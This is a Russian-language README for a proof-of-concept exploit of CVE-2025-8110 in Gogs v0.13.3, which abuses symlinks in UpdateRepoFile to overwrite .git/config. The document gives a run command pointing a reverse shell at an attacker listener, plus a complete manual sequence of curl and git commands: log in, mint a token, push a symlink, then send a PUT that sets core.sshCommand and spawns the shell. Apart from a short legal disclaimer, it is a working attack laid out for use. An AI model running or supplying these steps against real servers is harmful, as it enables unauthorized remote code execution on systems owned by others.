
Одношаговый эксплойт для Gogs symlink RCE (CVE-2025-8110), который запускает обратную оболочку через один PUT-запрос к UpdateRepoFile.
Скрипт доказательства концепции на Python для CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile симлинк RCE. Одиночный выстрел: сам вредоносный PUT-запрос вызывает git fetch → sshCommand → обратная оболочка.
⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, является незаконным.
Обработчик UpdateRepoFile в internal/db/repo_editor.go вызывает для записи содержимого файла, который следует за симлинками без проверки их наличия. В сочетании с тем, что предыдущие коммиты симлинков переходят в , атакующий может:
os.WriteFile.git/x → .git/config в голый репозиторийPUT /api/v1/repos/{owner}/{repo}/contents/x с вредоносным .git/config, содержащим core.sshCommand, установленный на команду обратной оболочкиgit fetch origin (через CreateOrUpdateRepoFile → UpdateLocalCopyBranch), который читает изменённую конфигурацию и выполняет sshCommand — порождая обратную оболочку за один выстрел.poc.py: запрашивает цель, имя пользователя, пароль, LHOST и LPORT; входит в систему, создаёт API-токен, создаёт репозиторий, отправляет симлинк и перезаписывает .git/config через API — сам одиночный PUT-запрос вызывает обратную оболочку.Запуск:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Аргумент | Обязательный | Описание |
|---|---|---|
--target / -t | Да | Имя хоста или URL цели Gogs |
--username | Да | Существующее имя пользователя Gogs |
--password | Да | Существующий пароль Gogs |
--lhost | Да | IP-адрес слушателя для обратной оболочки |
--lport | Да | Порт слушателя |
/user/settings/applicationsx → .git/config, коммит и отправкаPUT /api/v1/repos/{owner}/{repo}/contents/x с вредоносной конфигурацией git, содержащей core.sshCommand и URL удалённого репозитория SSH. Gogs' CreateOrUpdateRepoFile внутренне вызывает UpdateLocalCopyBranch → git fetch origin, который читает отравленную конфигурацию и выполняет sshCommand — порождая обратную оболочку за один запрос.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Извлеките _csrf из ответа
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Извлеките _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
Сам PUT-запрос вызывает git fetch origin, который читает отравленный .git/config и выполняет обратную оболочку. Второй запрос не требуется.
Почему
--max-time 10? Сервер может зависнуть на ~10 секунд, пока git обрабатывает запись и запускает fetch. Использование--max-time 10гарантирует, что curl удерживает соединение достаточно долго, чтобы оболочка подключилась обратно. Без этого соединение может разорваться до того, как оболочка запустится.